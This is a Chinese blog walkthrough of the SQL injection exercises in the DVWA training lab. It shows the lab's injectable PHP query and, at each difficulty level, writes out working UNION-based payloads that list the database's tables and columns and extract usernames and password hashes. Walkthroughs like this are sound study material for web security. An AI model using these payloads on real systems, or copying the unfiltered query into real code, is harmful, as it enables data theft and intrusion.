DVWA——SQL注入

SQL 注入

low

在输入框中输入数字可以查询出对应 id 的用户

image-20231114200242424

当在数字后面输入 '2' 时出现数据库报错语法错误,存在 SQL 注入

image-20231114200251731

查看源代码

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

接收用户输入框传入的参数,赋值给变量 $id,执行数据库查询语句

无任何过滤,可直接注入

SELECT first_name, last_name FROM users WHERE user_id = '$id';

当输入 2' 时,变量 $id 的值为 2',此时数据库查询语句为

SELECT first_name, last_name FROM users WHERE user_id = '2'';

引号数量不匹配,数据库报错

可以提交 2' # 注释掉后面的内容,则不报错

SELECT first_name, last_name FROM users WHERE user_id = '2' #';

image-20231114200150153

使用联合查询

判断列数使用 order by

查询结果根据第一行排列

1' group by 1 #

image-20231114215837275

查询结果根据第二行排列

1' group by 2 #

image-20231114215855222

当根据第三行排列时,报错,说明只有两列

image-20231114215934068

判断显示位置

1' union select 1,2 #

image-20231114220031440

查询当前数据库

' union select 1,database() #

image-20231114200653750

查看当前数据库中的表

' union select count(*),group_concat(0x5e,table_name,0x5e) from information_schema.tables where table_schema=database() #

count(*) 统计表的数量

group_concat(0x5e,table_name,0x5e) 在输出表名两边连接 ^ 符号,便于辨认表名

information_schema.tables 为元数据库中的 tables 表,包含所有数据库中所有的表名

使用过滤条件 where table_schema=database() 来过滤查询当前数据库中的表

image-20231114201140838

查询字段

' union select count(*),group_concat(0x5e,column_name,0x5e) from information_schema.columns where table_schema=database() and  table_name='users' #

元数据库中的 information_schema.columns 表存放所有数据库中的所有字段

where table_schema=database() and table_name='users' 表示查询当前数据库下的 users 表中的所有字段

image-20231114201837518

查询所有用户和密码

' union select count(*),group_concat(0x5e,user,0x2b,password,0x5e) from users #

image-20231114203141937

medium

传输 id 的方式改为下拉框,不允许用户输入,并且 URL 中无参数,没有使用 GET 传参

image-20231114210427463

BurpSuite 抓包,发现为 POST 传参

image-20231114212211270

修改传入的参数

image-20231114212357424

修改参数为

id=1 union select count(*),group_concat(0x5e,user,0x2b,password,0x5e) from users  &Submit=Submit

成功查询用户名密码

image-20231114212617320

high

high 级别的 SQL 注入点击“Click here to change your ID”后,弹出输入框

image-20231114212941142

验证 SQL 注入报错 something wrong

image-20231114213303817

输入 1 and 1=2 # 数据库能正常查询

image-20231114215521482

输入 1' and 1=2 # 无法查询

image-20231114215506126

字符型注入

获取账密

1' union select count(*),group_concat(0x5e,user,0x2b,password,0x5e) from users #

image-20231114215632656

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值